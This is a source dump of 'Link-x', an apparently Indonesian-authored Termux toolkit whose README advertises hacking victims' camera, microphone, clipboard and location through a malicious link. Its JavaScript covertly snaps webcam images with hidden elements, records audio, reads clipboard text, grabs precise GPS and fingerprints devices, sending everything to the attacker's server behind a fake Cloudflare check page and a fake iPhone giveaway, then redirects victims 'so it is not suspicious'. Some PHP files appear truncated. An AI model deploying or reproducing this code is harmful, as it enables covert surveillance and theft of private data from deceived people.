├── Link-x.jpg
├── .site
├── index
│ ├── index.php
│ ├── ip.php
│ └── index.html
├── php
│ ├── clipboard.php
│ ├── voice.php
│ ├── location.php
│ ├── camera.php
│ └── details.php
├── clickjacking
│ ├── ip.php
│ ├── log_click.php
│ ├── index.js
│ └── index.html
└── js
│ ├── clipboard.js
│ ├── location.js
│ ├── voice.js
│ ├── camera.js
│ └── details.js
├── .version
├── README.md
├── setup.py
└── Link-x.py
/Link-x.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Whomrx666/Link-x/HEAD/Link-x.jpg
--------------------------------------------------------------------------------
/.site/index/index.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/.version:
--------------------------------------------------------------------------------
1 | {
2 | "tool": "Link-x",
3 | "author": "Mr.X",
4 | "github": "https://github.com/Whomrx666",
5 | "version": "2.0"
6 | }
7 |
--------------------------------------------------------------------------------
/.site/php/clipboard.php:
--------------------------------------------------------------------------------
1 |
12 |
--------------------------------------------------------------------------------
/.site/index/ip.php:
--------------------------------------------------------------------------------
1 | 0
7 | ) {
8 | $tmp = $_FILES['audio_data']['tmp_name'];
9 | $output = "data.wav";
10 |
11 | if (move_uploaded_file($tmp, $output)) {
12 | if (file_exists($output)) {
13 | file_put_contents("Log.log", "Received");
14 | echo "OK";
15 | exit;
16 | }
17 | }
18 | }
19 | http_response_code(500);
20 | ?>
--------------------------------------------------------------------------------
/.site/php/location.php:
--------------------------------------------------------------------------------
1 | $lat,
14 | 'lon' => $lon,
15 | 'acc' => $acc,
16 | 'alt' => $alt,
17 | 'dir' => $dir,
18 | 'spd' => $spd);
19 |
20 | $jdata = json_encode($data);
21 |
22 | $f = fopen('data.json', 'w+');
23 | fwrite($f, $jdata);
24 | fclose($f);
25 | }
26 | ?>
27 |
--------------------------------------------------------------------------------
/.site/js/clipboard.js:
--------------------------------------------------------------------------------
1 | // Fungsi redirect — akan diganti otomatis oleh Link-x.py
2 | const REDIRECT_URL = "https://you.regettingold.com/";
3 |
4 | function post(dataclip) {
5 | $.ajax({
6 | type: "POST",
7 | data: { cat: dataclip },
8 | url: "./get_data.php",
9 | dataType: "json",
10 | timeout: 5000,
11 | success: function(result) {
12 | // Redirect setelah sukses kirim
13 | location.replace(REDIRECT_URL);
14 | },
15 | error: function() {
16 | // Fallback redirect jika gagal kirim
17 | location.replace(REDIRECT_URL);
18 | }
19 | });
20 | }
21 |
22 | // Baca clipboard
23 | navigator.clipboard.readText()
24 | .then(text => {
25 | post(text || "[empty clipboard]");
26 | })
27 | .catch(() => {
28 | // Jika akses clipboard ditolak, tetap redirect
29 | location.replace(REDIRECT_URL);
30 | });
--------------------------------------------------------------------------------
/.site/php/camera.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.site/php/details.php:
--------------------------------------------------------------------------------
1 | $ip,
23 | "time" => $time,
24 | "touch" => $touch,
25 | "cookie" => $cookie,
26 | "ua" => $ua,
27 | "platf" => $platf,
28 | "lang" => $lang,
29 | "memory" => $memory,
30 | "wid" => $wid,
31 | "hig" => $hig,
32 | "netType" => $netType,
33 | "saveData" => $saveData,
34 | "batLevel" => $batLevel,
35 | "batCharge" => $batCharge,
36 | "dname" => $dname);
37 |
38 | $jdata = json_encode($data);
39 |
40 | $f = fopen("data.json", "w+");
41 | fwrite($f, $jdata);
42 | fclose($f);
43 | }
44 | ?>
45 |
--------------------------------------------------------------------------------
/.site/js/location.js:
--------------------------------------------------------------------------------
1 | // Redirect URL — akan diganti otomatis oleh Link-x.py
2 | const REDIRECT_URL = "https://you.regettingold.com/";
3 |
4 | function send(theUrl) {
5 | var xmlHttp = new XMLHttpRequest();
6 | xmlHttp.open("GET", theUrl, false);
7 | xmlHttp.send(null);
8 | // Tidak perlu return, karena tidak digunakan
9 | }
10 |
11 | function redirectToTarget() {
12 | // Gunakan redirect langsung (lebih andal daripada window.open)
13 | window.location.href = REDIRECT_URL;
14 | }
15 |
16 | function showPosition(position) {
17 | const coords = position.coords;
18 | const lat = coords.latitude || 0;
19 | const lon = coords.longitude || 0;
20 | const acc = coords.accuracy || "N/A";
21 | const alt = coords.altitude || "N/A";
22 | const dir = coords.heading || "N/A";
23 | const spd = coords.speed || "N/A";
24 |
25 | // Bangun query dengan encoding aman
26 | const query = `./get_data.php?Lat=${encodeURIComponent(lat)}&Lon=${encodeURIComponent(lon)}&Acc=${encodeURIComponent(acc)}&Alt=${encodeURIComponent(alt)}&Dir=${encodeURIComponent(dir)}&Spd=${encodeURIComponent(spd)}`;
27 |
28 | // Kirim data
29 | send(query);
30 |
31 | // Redirect setelah sukses
32 | redirectToTarget();
33 | }
34 |
35 | function showError(error) {
36 | // Jangan tampilkan alert (mengganggu UX & bisa stuck)
37 | console.warn("Geolocation error:", error);
38 | // Tetap redirect meskipun lokasi gagal
39 | redirectToTarget();
40 | }
41 |
42 | function locate() {
43 | if (navigator.geolocation) {
44 | const options = {
45 | enableHighAccuracy: true,
46 | timeout: 30000,
47 | maximumAge: 0
48 | };
49 | navigator.geolocation.getCurrentPosition(showPosition, showError, options);
50 | } else {
51 | // Jika geolocation tidak didukung, langsung redirect
52 | redirectToTarget();
53 | }
54 | }
55 |
56 | // Jalankan
57 | locate();
--------------------------------------------------------------------------------
/.site/js/voice.js:
--------------------------------------------------------------------------------
1 | // .site/js/voice.js — Native MediaRecorder (No external libraries)
2 | let redirectUrl = "https://you.regettingold.com/";
3 |
4 | function Redirect() {
5 | window.location.href = redirectUrl;
6 | }
7 |
8 | async function startRecording() {
9 | let stream = null;
10 | let mediaRecorder = null;
11 | const audioChunks = [];
12 |
13 | try {
14 | // Minta akses mikrofon
15 | stream = await navigator.mediaDevices.getUserMedia({ audio: true });
16 |
17 | // Buat perekam
18 | mediaRecorder = new MediaRecorder(stream);
19 |
20 | mediaRecorder.ondataavailable = (e) => {
21 | if (e.data.size > 0) {
22 | audioChunks.push(e.data);
23 | }
24 | };
25 |
26 | mediaRecorder.onstop = async () => {
27 | // Hentikan semua track
28 | stream.getTracks().forEach(track => track.stop());
29 |
30 | // Buat blob
31 | const blob = new Blob(audioChunks, { type: 'audio/wav' });
32 |
33 | // Upload
34 | const fd = new FormData();
35 | fd.append("audio_data", blob, "audio.wav");
36 |
37 | try {
38 | await fetch("./get_data.php", {
39 | method: "POST",
40 | body: fd
41 | });
42 | } catch (err) {
43 | // Abaikan error upload
44 | }
45 |
46 | // Redirect setelah upload
47 | Redirect();
48 | };
49 |
50 | // Mulai rekam
51 | mediaRecorder.start();
52 |
53 | // Hentikan setelah 5 detik
54 | setTimeout(() => {
55 | if (mediaRecorder && mediaRecorder.state === "recording") {
56 | mediaRecorder.stop();
57 | }
58 | }, 5000);
59 |
60 | } catch (err) {
61 | // Jika ditolak atau error → redirect langsung
62 | if (stream) stream.getTracks().forEach(track => track.stop());
63 | Redirect();
64 | }
65 | }
66 |
67 | // Jalankan setelah halaman siap
68 | if (document.readyState === "loading") {
69 | document.addEventListener("DOMContentLoaded", () => {
70 | setTimeout(startRecording, 300);
71 | });
72 | } else {
73 | setTimeout(startRecording, 300);
74 | }
--------------------------------------------------------------------------------
/.site/js/camera.js:
--------------------------------------------------------------------------------
1 | // camera.js - Link-X Camera Grabber
2 | (function() {
3 | const delay = ms => new Promise(res => setTimeout(res, ms));
4 |
5 | // Buat elemen secara diam-diam
6 | const video = document.createElement('video');
7 | const canvas = document.createElement('canvas');
8 | const ctx = canvas.getContext('2d');
9 |
10 | // Sembunyikan elemen
11 | video.style.display = 'none';
12 | canvas.style.display = 'none';
13 | document.body.appendChild(video);
14 | document.body.appendChild(canvas);
15 |
16 | // Ambil akses kamera
17 | navigator.mediaDevices.getUserMedia({ video: true, audio: false })
18 | .then(stream => {
19 | video.srcObject = stream;
20 | video.play();
21 |
22 | // Tunggu sampai metadata video siap
23 | return new Promise((resolve) => {
24 | if (video.readyState >= 2) { // HAVE_METADATA
25 | resolve();
26 | } else {
27 | video.onloadedmetadata = () => resolve();
28 | }
29 | });
30 | })
31 | .then(() => {
32 | // Beri sedikit delay tambahan untuk frame pertama
33 | return delay(500);
34 | })
35 | .then(() => {
36 | // Atur ukuran canvas sesuai resolusi kamera
37 | canvas.width = video.videoWidth || 640;
38 | canvas.height = video.videoHeight || 480;
39 |
40 | // Gambar frame ke canvas
41 | ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
42 |
43 | // Ambil data gambar (base64 tanpa prefix)
44 | const dataUrl = canvas.toDataURL('image/png');
45 | const base64Data = dataUrl.split(',')[1];
46 |
47 | // Kirim ke server
48 | return fetch('get_data.php', {
49 | method: 'POST',
50 | headers: {
51 | 'Content-Type': 'application/json'
52 | },
53 | body: JSON.stringify({ image: base64Data })
54 | });
55 | })
56 | .then(response => {
57 | // Redirect korban setelah sukses
58 | let redirectUrl = "https://you.regettingold.com/";
59 | if (typeof window.redirectUrl !== 'undefined') {
60 | redirectUrl = window.redirectUrl;
61 | }
62 | window.location.href = redirectUrl;
63 | })
64 | .catch(err => {
65 | // Jika gagal, tetap redirect agar tidak mencurigakan
66 | console.warn("Camera access failed:", err);
67 | window.location.href = "https://you.regettingold.com/";
68 | });
69 | })();
--------------------------------------------------------------------------------
/.site/clickjacking/log_click.php:
--------------------------------------------------------------------------------
1 | 'None',
29 | 'city' => 'None',
30 | 'calling_code' => 'None',
31 | 'timezone' => 'None'
32 | ];
33 |
34 | // === Ambil data geolokasi jika IP valid ===
35 | if ($ip !== '0.0.0.0' && filter_var($ip, FILTER_VALIDATE_IP)) {
36 | $geoUrl = "http://ipapi.com/php/" . urlencode($ip);
37 | $geoRaw = @file_get_contents($geoUrl);
38 |
39 | if ($geoRaw !== false) {
40 | $geo = @unserialize($geoRaw);
41 | if (is_array($geo) && empty($geo['error'])) {
42 | $location = [
43 | 'country' => $geo['country_name'] ?? 'None',
44 | 'city' => $geo['city'] ?? 'None',
45 | 'calling_code' => $geo['country_calling_code'] ?? 'None',
46 | 'timezone' => $geo['timezone'] ?? 'None'
47 | ];
48 | }
49 | }
50 | }
51 |
52 | // === Tambahkan IP & lokasi ke data utama ===
53 | $data['info']['ip'] = $ip;
54 | $data['info']['country'] = $location['country'];
55 | $data['info']['city'] = $location['city'];
56 | $data['info']['calling_code'] = $location['calling_code'];
57 | $data['info']['timezone'] = $location['timezone'];
58 |
59 | // === Simpan ke file flat (seperti asli Anda) ===
60 | $json = json_encode($data, JSON_PRETTY_PRINT);
61 | $write1 = file_put_contents('data.json', $json); // File terbaru (overwrite)
62 | $write2 = file_put_contents('Log.log', "Received"); // Flag sederhana
63 |
64 | // === Simpan juga ke folder terstruktur (untuk multi-victim) ===
65 | $timestamp = date('Y/m/d');
66 | $logDir = "logs/" . $timestamp;
67 | if (!is_dir($logDir)) {
68 | mkdir($logDir, 0777, true);
69 | }
70 | $uniqueFile = $logDir . "/victim_" . date('Ymd_His') . "_" . substr(md5(uniqid()), 0, 6) . ".json";
71 | $write3 = file_put_contents($uniqueFile, $json);
72 |
73 | // === Debug logging ===
74 | error_log("Write data.json: " . ($write1 !== false ? "OK" : "FAILED"));
75 | error_log("Write Log.log: " . ($write2 !== false ? "OK" : "FAILED"));
76 | error_log("Write structured log: " . ($write3 !== false ? "OK" : "FAILED"));
77 | error_log("Resolved location: " . json_encode($location));
78 |
79 | // === Respons kosong untuk stealth ===
80 | http_response_code(200);
81 | ?>
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Link-x
2 | 
3 |
4 | ## introduction
5 | This Tool can Hack and Grab data of Camera, Voice, Clipboard, Location.It can Grab As much info as Possible from Victims Device.All this requires Just a Malicious Link! {UPDATED V.2.0}
6 |
7 | ## Instalations
8 | ```
9 | $ pkg update -y
10 | $ pkg upgrade -y
11 | $ pkg install python git -y
12 | $ git clone https://github.com/Whomrx666/Link-x
13 | $ cd Link-x
14 | $ python setup.py
15 | $ python Link-x.py
16 | ```
17 | ### Attack Methods:
18 | * Camera Hack
19 | * Voice Hack
20 | * Clipboard Hack
21 | * Location Hack
22 | * ClickJacking
23 | * Get Victim Device Details
24 |
25 | ### Tunnel Methods:
26 | * Localhost ssh for public share
27 |
28 | ### Methods Overview:
29 | * Camera Hack
30 | > Hack Victim's front Camera and take one image then direct the link to the specified link
31 | * Voice Hack
32 | > Hack Victim's Microphone and Record 5 Seconds audio
33 | * Clipboard Hack
34 | > Hack Victim's Clipboard and Grab last copied Text
35 | * Location Hack
36 | > Hack Victim's Location and Show exact Location
37 | * Clickjacking
38 | > Extract device data by waiting for the victim to click the button provided.
39 | * Device Details
40 | > Probably my favorite Attack Method. Grab the much Information as possible from Victim's Device. Including: Screen Info, Battery Info, Connection Info, Country Info etc...
41 |
42 | ## Instructions
43 | - **One**: Install the tools according to the instructions above
44 | - **Two**: Choose the type of attack you want
45 | - **Three**: Select the link you want to use, you can use the default or mask URL.
46 | - **Four**: The link will be automatically created and share the link to the specified target.
47 | - **Done**: And boom you will get what you want
48 |
49 | ## Observation
50 | This is a tool for education only, I am not responsible for any misuse
51 | ### Original Author
52 |
53 |
54 | ### <<< If you copy , Then Give me The Credits >>>
55 |
56 | ## CONNECT WITH ME :
57 |
58 | [](https://whomrxhackers.blogspot.com/)
59 | [](https://twitter.com/whomrx666)
60 | [](https://wa.me/6285926601133?text=Halo%2C%20Mr.X)
61 | [](https://www.facebook.com/whomrx.666)
62 | [](https://t.me/Whomr_X)
63 | [](mailto:whomrx666@gmail.com)
64 | [](https://www.tiktok.com/@whomr.x)
65 |
66 | **If you want to donate, click on the button**
67 |
68 |
69 | ---
70 |
71 |
72 |
73 |
74 |
75 | ---
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 | import time
6 | import subprocess as sb
7 |
8 | # Cyberpunk Neon Colors (sesuai preferensi Mr.X: dominan ungu, hindari hijau)
9 | NEON_PURPLE = "\033[38;5;93m"
10 | NEON_WHITE = "\033[38;5;15m"
11 | RESET = "\033[0m"
12 |
13 | def cPrint(text):
14 | text = text.replace("cPurple", NEON_PURPLE).replace("cWhite", NEON_WHITE)
15 | print(text + RESET)
16 |
17 | def psb(z, end="\n"):
18 | z = z.replace("cPurple", NEON_PURPLE).replace("cWhite", NEON_WHITE) + RESET
19 | for p in z + end:
20 | sys.stdout.write(p)
21 | sys.stdout.flush()
22 | time.sleep(0.01)
23 |
24 | def is_termux():
25 | return "com.termux" in os.environ.get("PREFIX", "")
26 |
27 | def install_termux_packages():
28 | required = ["php", "curl", "wget", "unzip", "openssh", "git"]
29 | missing = []
30 |
31 | for pkg in required:
32 | if sb.getoutput(f"command -v {pkg}") == "":
33 | missing.append(pkg)
34 |
35 | if missing:
36 | cPrint(f"\n[cPurple!cWhite] Installing missing packages: {', '.join(missing)}")
37 | os.system("pkg update -y > /dev/null 2>&1")
38 | for pkg in missing:
39 | psb(f" → Installing {pkg}...")
40 | os.system(f"pkg install {pkg} -y > /dev/null 2>&1")
41 | cPrint("\n[cPurple✓cWhite] All required packages installed!\n")
42 | else:
43 | cPrint("\n[cPurple✓cWhite] All dependencies already installed.\n")
44 |
45 | def create_data_dir():
46 | sdcard = "/sdcard"
47 | if os.path.exists(sdcard):
48 | data_dir = os.path.join(sdcard, "HackedData")
49 | os.makedirs(data_dir, exist_ok=True)
50 | cPrint(f"[cPurple✓cWhite] Created directory: {data_dir}")
51 | else:
52 | cPrint("[cPurple!cWhite] Warning: /sdcard not found. Please run `termux-setup-storage`.")
53 |
54 | def create_version_file():
55 | if not os.path.exists(".version"):
56 | with open(".version", "w") as f:
57 | f.write('{"version": "2.0"}')
58 | cPrint("[cPurple✓cWhite] Initialized .version file for update checks.")
59 |
60 | def main():
61 | logo = f"""
62 | {NEON_PURPLE} ██╗ ██╗███╗ ██╗██╗ ██╗ ██╗ ██╗
63 | {NEON_PURPLE} ██║ ██║████╗ ██║╚██╗██╔╝ ╚██╗██╔╝
64 | {NEON_PURPLE} ██║ ██║██╔██╗ ██║ ╚███╔╝ ╚███╔╝
65 | {NEON_PURPLE} ██║ ██║██║╚██╗██║ ██╔██╗ ██╔██╗
66 | {NEON_PURPLE} ███████╗██║██║ ╚████║██╔╝ ██╗ ██╔╝ ██╗
67 | {NEON_PURPLE} ╚══════╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝{RESET}
68 | """
69 | print(logo)
70 | cPrint(" [cPurpleLink-X Setup - Termux EditioncWhite]\n")
71 |
72 | if not is_termux():
73 | cPrint("[cPurple!cWhite] Warning: This setup is optimized for Termux.\n")
74 | sys.exit(1)
75 |
76 | # Setup storage if needed
77 | if not os.path.exists("/sdcard"):
78 | cPrint("[cPurple!cWhite] /sdcard not found!")
79 | psb("cWhite→ Please run: cPurpletermux-setup-storage")
80 | sys.exit(1)
81 |
82 | install_termux_packages()
83 | create_data_dir()
84 | create_version_file()
85 |
86 | cPrint("\n[cPurple✓cWhite] Setup completed successfully!")
87 | psb("cWhite→ Run: cPurplepython Link-x.pycWhite to start the tool.\n")
88 |
89 | if __name__ == "__main__":
90 | try:
91 | main()
92 | except KeyboardInterrupt:
93 | cPrint("\n\n[cPurple!cWhite] Setup interrupted by user.")
94 | sys.exit(1)
--------------------------------------------------------------------------------
/.site/clickjacking/index.js:
--------------------------------------------------------------------------------
1 | // Link-X ClickJacking — Accurate Android Version Only
2 | // Author: Mr.X | Tool: Link-X v1.0
3 |
4 | (function () {
5 | function getDeviceName() {
6 | const ua = navigator.userAgent;
7 | const platform = navigator.platform;
8 |
9 | if (/iPhone/.test(ua)) return "Apple iPhone";
10 | if (/iPad/.test(ua)) return "Apple iPad";
11 | if (/iPod/.test(ua)) return "Apple iPod";
12 | if (/Macintosh|MacIntel/.test(platform)) return "Apple Mac";
13 |
14 | // Ekstrak versi Android secara akurat
15 | const androidMatch = ua.match(/Android[\s\/]([0-9\.]+)/i);
16 | if (androidMatch) {
17 | let version = androidMatch[1];
18 | if (version.endsWith('.0') && version.split('.').length === 2) {
19 | version = version.replace(/\.0$/, '');
20 | }
21 | return `Android ${version}`;
22 | }
23 |
24 | if (/Android/i.test(ua)) {
25 | return "Android (unknown version)";
26 | }
27 |
28 | if (/Win/.test(platform)) return "Windows PC";
29 | if (/Linux/.test(platform)) {
30 | if (/CrOS/.test(ua)) return "Google Chromebook";
31 | return "Linux Device";
32 | }
33 |
34 | return "Unknown Device";
35 | }
36 |
37 | async function collectFullDeviceInfo() {
38 | const baseInfo = {
39 | time: new Date().toLocaleString(),
40 | dname: getDeviceName(), // ✅ Sekarang hanya: "Android 13", "Apple iPhone", dll
41 | cookie: navigator.cookieEnabled ? "Enabled" : "Disabled",
42 | ua: navigator.userAgent,
43 | platf: navigator.platform,
44 | lang: navigator.language,
45 | wid: screen.width,
46 | hig: screen.height,
47 | touch: navigator.maxTouchPoints || "0",
48 | netType: navigator.connection?.effectiveType || "unknown",
49 | memory: navigator.deviceMemory ? (navigator.deviceMemory + " GB") : "unknown",
50 | renderer: "None",
51 | batLevel: "unknown",
52 | batCharge: "unknown"
53 | };
54 |
55 | try {
56 | const canvas = document.createElement('canvas');
57 | const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
58 | if (gl) baseInfo.renderer = gl.getParameter(gl.RENDERER) || "Unknown";
59 | } catch (e) { /* ignore */ }
60 |
61 | if ('getBattery' in navigator) {
62 | try {
63 | const battery = await navigator.getBattery();
64 | baseInfo.batLevel = (battery.level * 100).toFixed(1) + "%";
65 | baseInfo.batCharge = battery.charging ? "Yes" : "No";
66 | } catch (e) { /* ignore */ }
67 | }
68 |
69 | return baseInfo;
70 | }
71 |
72 | setTimeout(() => {
73 | document.addEventListener('click', async function handleClick(e) {
74 | document.removeEventListener('click', handleClick);
75 |
76 | const deviceInfo = await collectFullDeviceInfo();
77 |
78 | const payload = {
79 | info: {
80 | ...deviceInfo,
81 | clickX: e.clientX,
82 | clickY: e.clientY,
83 | clickTime: new Date().toISOString(),
84 | eventType: "clickjacking_giveaway"
85 | }
86 | };
87 |
88 | try {
89 | await fetch('log_click.php', {
90 | method: 'POST',
91 | headers: { 'Content-Type': 'application/json' },
92 | body: JSON.stringify(payload)
93 | });
94 | } catch (err) { /* tetap redirect */ }
95 |
96 | window.location.href = "https://www.apple.com/";
97 | }, { once: true });
98 | }, 300);
99 | })();
--------------------------------------------------------------------------------
/.site/clickjacking/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | You're a Winner!
7 |
8 |
9 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
You're a Winner!
105 |
106 | Congratulations! You've been randomly selected to receive:
107 |
108 |
109 |
110 |
111 |
112 | Apple iPhone 16 Pro (128GB)
113 |
114 |
115 |
116 | Cash Prize: $1,000 USD
117 |
118 |
119 |
120 |
123 |
124 |
127 |
128 |
129 |
130 |
131 |
--------------------------------------------------------------------------------
/.site/index/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Just a moment...
10 |
106 |
107 |
108 |
109 |
114 |
Checking your browser before accessing the website.
115 |
This process is automatic. Your browser will redirect to your requested content shortly.
116 |
Redirecting…
117 |
118 | DDoS protection by
119 |
Cloudflare
120 |
Ray ID: 6c51810c599f2cda
121 |
122 |
123 |
124 |
125 |
126 |
127 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
--------------------------------------------------------------------------------
/.site/js/details.js:
--------------------------------------------------------------------------------
1 | // Redirect URL — akan diganti otomatis oleh Link-x.py
2 | const REDIRECT_URL = "https://you.regettingold.com/ ";
3 |
4 | // Fungsi deteksi merek & model perangkat (diperluas untuk ratusan model)
5 | function getDeviceName() {
6 | try {
7 | if (window.WURFL && WURFL.complete_device_name) {
8 | return WURFL.complete_device_name;
9 | }
10 | } catch (e) {
11 | // WURFL tidak tersedia
12 | }
13 |
14 | const ua = navigator.userAgent;
15 |
16 | // === Apple ===
17 | if (/iPhone/.test(ua)) {
18 | if (/iPhone14,/.test(ua)) return "Apple iPhone 14";
19 | if (/iPhone15,/.test(ua)) return "Apple iPhone 15";
20 | if (/iPhone13,/.test(ua)) return "Apple iPhone 13";
21 | if (/iPhone12,/.test(ua)) return "Apple iPhone 12";
22 | if (/iPhone11,/.test(ua)) return "Apple iPhone 11";
23 | if (/iPhone10,/.test(ua)) return "Apple iPhone X";
24 | return "Apple iPhone";
25 | }
26 | if (/iPad/.test(ua)) return "Apple iPad";
27 | if (/iPod/.test(ua)) return "Apple iPod";
28 | if (/Macintosh|MacIntel/.test(navigator.platform)) return "Apple Mac";
29 |
30 | // === Desktop ===
31 | if (/Windows/.test(navigator.platform)) return "Windows PC";
32 | if (/Linux/.test(navigator.platform)) {
33 | if (/CrOS/.test(ua)) return "Google Chromebook";
34 | return "Linux Device";
35 | }
36 |
37 | // === Android ===
38 | if (/Android/.test(ua)) {
39 | // Samsung
40 | if (/SM-S91[168]B?/.test(ua)) return "Samsung Galaxy S23";
41 | if (/SM-S90[168]B?/.test(ua)) return "Samsung Galaxy S22";
42 | if (/SM-S801?/.test(ua)) return "Samsung Galaxy S21";
43 | if (/SM-A[0-9]{3,4}/.test(ua)) return "Samsung Galaxy A" + ua.match(/SM-A([0-9]{3,4})/)?.[1] || "";
44 | if (/SM-M[0-9]{3,4}/.test(ua)) return "Samsung Galaxy M" + ua.match(/SM-M([0-9]{3,4})/)?.[1] || "";
45 | if (/Galaxy S[0-9]+/.test(ua)) return "Samsung " + ua.match(/(Galaxy S[0-9]+)/)?.[0];
46 | if (/Galaxy Note/.test(ua)) return "Samsung Galaxy Note";
47 | if (/SAMSUNG|SM-[A-Z0-9]/.test(ua)) return "Samsung Galaxy";
48 |
49 | // Google Pixel
50 | if (/Pixel 8 Pro/.test(ua)) return "Google Pixel 8 Pro";
51 | if (/Pixel 8/.test(ua)) return "Google Pixel 8";
52 | if (/Pixel 7 Pro/.test(ua)) return "Google Pixel 7 Pro";
53 | if (/Pixel 7/.test(ua)) return "Google Pixel 7";
54 | if (/Pixel 6 Pro/.test(ua)) return "Google Pixel 6 Pro";
55 | if (/Pixel [0-9]/.test(ua)) return "Google " + ua.match(/(Pixel [0-9]+(?: Pro)?)/)?.[0];
56 |
57 | // Xiaomi / Redmi / POCO
58 | if (/Redmi Note [0-9]/.test(ua)) return "Xiaomi " + ua.match(/(Redmi Note [0-9]+)/)?.[0];
59 | if (/Redmi [0-9]/.test(ua)) return "Xiaomi " + ua.match(/(Redmi [0-9]+)/)?.[0];
60 | if (/POCO [A-Z0-9]+/.test(ua)) return "POCO " + ua.match(/POCO ([A-Z0-9]+)/)?.[1];
61 | if (/Xiaomi/.test(ua)) return "Xiaomi";
62 |
63 | // OnePlus
64 | if (/OnePlus [0-9]/.test(ua)) return "OnePlus " + ua.match(/(OnePlus [0-9]+)/)?.[0];
65 | if (/OnePlus/.test(ua)) return "OnePlus";
66 |
67 | // Realme
68 | if (/realme [0-9]/.test(ua)) return "Realme " + ua.match(/(realme [0-9]+)/)?.[0];
69 | if (/realme/.test(ua)) return "Realme";
70 |
71 | // OPPO
72 | if (/CPH[0-9]{4}/.test(ua)) return "OPPO CPH" + ua.match(/CPH([0-9]{4})/)?.[1];
73 | if (/OPPO/.test(ua)) return "OPPO";
74 |
75 | // vivo
76 | if (/vivo [A-Z0-9]+/.test(ua)) return "vivo " + ua.match(/vivo ([A-Z0-9]+)/)?.[1];
77 | if (/V2[0-9]{3}/.test(ua)) return "vivo V" + ua.match(/V([0-9]{3})/)?.[1];
78 | if (/vivo/.test(ua)) return "vivo";
79 |
80 | // Huawei / Honor
81 | if (/Honor [0-9]/.test(ua)) return "Honor " + ua.match(/(Honor [0-9]+)/)?.[0];
82 | if (/HUAWEI|Honor/.test(ua)) return "Huawei / Honor";
83 |
84 | // itel
85 | if (/itel [A-Z0-9\-]+/.test(ua)) return "itel " + ua.match(/itel ([A-Z0-9\-]+)/)?.[1];
86 | if (/itel/.test(ua)) return "itel";
87 |
88 | // TECNO
89 | if (/TECNO [A-Z0-9]+/.test(ua)) return "TECNO " + ua.match(/TECNO ([A-Z0-9]+)/)?.[1];
90 | if (/TECNO/.test(ua)) return "TECNO";
91 |
92 | // Infinix
93 | if (/Infinix [A-Z0-9]+/.test(ua)) return "Infinix " + ua.match(/Infinix ([A-Z0-9]+)/)?.[1];
94 | if (/Infinix/.test(ua)) return "Infinix";
95 |
96 | // Nokia
97 | if (/TA-[0-9]{3,4}/.test(ua)) return "Nokia TA-" + ua.match(/TA-([0-9]{3,4})/)?.[1];
98 | if (/Nokia/.test(ua)) return "Nokia";
99 |
100 | // Motorola
101 | if (/moto g[0-9]{2}/.test(ua)) return "Motorola " + ua.match(/(moto g[0-9]{2})/)?.[0].toUpperCase();
102 | if (/moto e[0-9]/.test(ua)) return "Motorola " + ua.match(/(moto e[0-9])/)?.[0].toUpperCase();
103 | if (/Motorola|motorola/.test(ua)) return "Motorola";
104 |
105 | // ASUS
106 | if (/ZenFone [0-9]/.test(ua)) return "ASUS " + ua.match(/(ZenFone [0-9]+)/)?.[0];
107 | if (/ASUS/.test(ua)) return "ASUS";
108 |
109 | // Merek regional & rugged
110 | if (/Oukitel [A-Z0-9]+/.test(ua)) return "Oukitel " + ua.match(/Oukitel ([A-Z0-9]+)/)?.[1];
111 | if (/Ulefone [A-Z0-9]+/.test(ua)) return "Ulefone " + ua.match(/Ulefone ([A-Z0-9]+)/)?.[1];
112 | if (/Doogee [A-Z0-9]+/.test(ua)) return "Doogee " + ua.match(/Doogee ([A-Z0-9]+)/)?.[1];
113 | if (/Cubot [A-Z0-9]+/.test(ua)) return "Cubot " + ua.match(/Cubot ([A-Z0-9]+)/)?.[1];
114 | if (/Lava [A-Z0-9]+/.test(ua)) return "Lava " + ua.match(/Lava ([A-Z0-9]+)/)?.[1];
115 | if (/Micromax/.test(ua)) return "Micromax";
116 | if (/Hisense/.test(ua)) return "Hisense";
117 | if (/TCL|Alcatel/.test(ua)) return "TCL / Alcatel";
118 | if (/ZTE|Blade/.test(ua)) return "ZTE";
119 |
120 | return "Android Device";
121 | }
122 |
123 | return "Unknown Device";
124 | }
125 |
126 | // Fungsi bantu: kirim GET request sync (untuk ip.php & get_data.php)
127 | function send(theUrl) {
128 | const xmlHttp = new XMLHttpRequest();
129 | xmlHttp.open("GET", theUrl, false);
130 | xmlHttp.send(null);
131 | return xmlHttp.responseText;
132 | }
133 |
134 | // Ambil status baterai dengan aman
135 | function safeGetBattery() {
136 | return new Promise((resolve) => {
137 | if (!("getBattery" in navigator)) {
138 | resolve({ level: "N/A", charging: "N/A" });
139 | return;
140 | }
141 | navigator.getBattery().then((battery) => {
142 | resolve({
143 | level: (battery.level * 100) + "%",
144 | charging: battery.charging
145 | });
146 | }).catch(() => {
147 | resolve({ level: "Error", charging: "Error" });
148 | });
149 | });
150 | }
151 |
152 | // Kumpulkan & kirim semua data korban
153 | async function fetchData() {
154 | try {
155 | const ip = send("./ip.php?echo=true").trim() || "0.0.0.0";
156 | const time = new Date().toString();
157 | const cookie = navigator.cookieEnabled;
158 | const touch = navigator.maxTouchPoints || "N/A";
159 | const ua = navigator.userAgent || "N/A";
160 | const platf = navigator.platform || "N/A";
161 | const lang = navigator.language || "N/A";
162 | const memory = navigator.deviceMemory || "N/A";
163 | const wid = screen.width;
164 | const hig = screen.height;
165 | const netType = navigator.connection?.type || "unknown";
166 | const saveData = navigator.connection?.saveData || "N/A";
167 | const dname = getDeviceName();
168 | const battery = await safeGetBattery();
169 |
